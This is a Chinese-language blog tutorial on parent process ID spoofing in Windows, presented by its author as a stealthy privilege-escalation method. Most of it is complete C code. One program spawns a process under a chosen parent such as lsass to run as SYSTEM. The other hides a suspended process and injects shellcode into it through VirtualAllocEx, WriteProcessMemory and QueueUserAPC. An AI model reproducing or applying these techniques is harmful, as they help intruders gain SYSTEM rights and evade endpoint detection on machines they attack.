父进程欺骗

前言

  利用父进程欺骗技术进行提权,这个方法我感觉很好,并且非常隐蔽

父进程欺骗

  任何进程都是别的进程创建的,当用户双击exe时,实际上是Explorer.exe这个进程所创建的。而父进程欺骗技术可到达使用CreateProcess函数,由指定进程创建。比如成为calc.exe的子进程。
  核心是设置CreateProcess.dwCreationFlagsEXTENDED_STARTUPINFO_PRESENT,意思是使用扩展的启动信息创建

  然后将UpdateProcThreadAttribute函数中的AttributePROC_THREAD_ATTRIBUTE_PARENT_PROCESS来设置父进程

  要用到STARTUPINFOEXA结构体

typedef struct _STARTUPINFOEXA {
  STARTUPINFOA                 StartupInfo;		// StartupInfo结构体
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;	// 属性列表 此结构体未公开
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;

  其中lpAttributeList必须由InitializeProcThreadAttributeList函数初始化

BOOL InitializeProcThreadAttributeList(
	LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,	// 属性列表 可设置为NULL 来确定所需的缓冲区大小
	DWORD                        dwAttributeCount,	// 要添加到列表的属性个数
	DWORD                        dwFlags, 			// 必须为0
	PSIZE_T                      lpSize				// 所需的缓冲区大小
);													// 成功返回非0 失败返回0

  更新进程和线程创建的属性列表中的指定属性。

BOOL UpdateProcThreadAttribute(
    LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,	// 属性列表
    DWORD                        dwFlags,			// 必须为0
    DWORD_PTR                    Attribute,			// 属性值 
    PVOID                        lpValue,			// 属性值指针
    SIZE_T                       cbSize,			// lpValue大小
    PVOID                        lpPreviousValue,	// 必须为 NULL
    PSIZE_T                      lpReturnSize		// 必须为 NULL
);													// 成功返回非0 失败返回0

  示例

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>

int main()
{
	int PID = 932;
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);
	STARTUPINFOEX si;
	PROCESS_INFORMATION pi;

	// 初始化
	ZeroMemory(&pi, sizeof(pi));
	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&si.StartupInfo, sizeof(STARTUPINFO));
	si.StartupInfo.cb = sizeof(STARTUPINFO);

	SIZE_T lpsize = 0;
	// 获取要分配的 属性列表 大小
	InitializeProcThreadAttributeList(NULL, 1, 0, &lpsize);

	char* temp = (char*)malloc(sizeof(char) * lpsize);

	/* 转换指针到正确类型 */
	si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)temp;

	/* 真正为结构体初始化属性参数 */
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &lpsize);

	/* 更新属性表 */
	if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL))
	{
		return 0;
	}

	// 打开记事本
	if (CreateProcessA("C:\\Windows\\notepad.exe", NULL, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi))
	{
		// 收尾处理
		CloseHandle(pi.hProcess);
		CloseHandle(hProcess);
		CloseHandle(pi.hThread);
		DeleteProcThreadAttributeList(si.lpAttributeList);
	}
	
}

  已成为lsass的子进程,并且提权成system
  

执行shellcode

#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>

int main()
{
    // 64位shellcode注入进64位进程
    // 32位shellcode注入进32位进程
	unsigned char shellCode[] = "\x55\x66";

	int PID = 6916;
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
	STARTUPINFOEX si;
	PROCESS_INFORMATION pi;

	// 初始化
	ZeroMemory(&pi, sizeof(pi));
	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&si.StartupInfo, sizeof(STARTUPINFO));
	si.StartupInfo.cb = sizeof(STARTUPINFO);

	SIZE_T lpsize = 0;
	// 获取要分配的 属性列表 大小
	InitializeProcThreadAttributeList(NULL, 1, 0, &lpsize);

	char* temp = (char*)malloc(sizeof(char) * lpsize);

	/* 转换指针到正确类型 */
	si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)temp;

	/* 真正为结构体初始化属性参数 */
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &lpsize);

	/* 更新属性表 */
	if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL))
	{
		return 0;
	}

	// 隐藏在后台方式打开记事本
	if (CreateProcessA("C:\\Windows\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&si.StartupInfo, &pi))
	{
		// 分配内存
		LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

		SIZE_T* lpNumberOfBytesWritten = 0;
		// shellcode注入进内存
		BOOL resWPM = WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);
		// APC调用
		QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL);
		// 启动线程
		ResumeThread(pi.hThread);

		// 收尾处理
		CloseHandle(pi.hProcess);
		CloseHandle(hProcess);
		CloseHandle(pi.hThread);
		DeleteProcThreadAttributeList(si.lpAttributeList);
	}

}

参考文章

Parent Process ID (PPID) Spoofing
关于父进程和子进程的关系(UAC 绕过思路)
Malware development part 5 - tips & tricks

查看评论 -
评论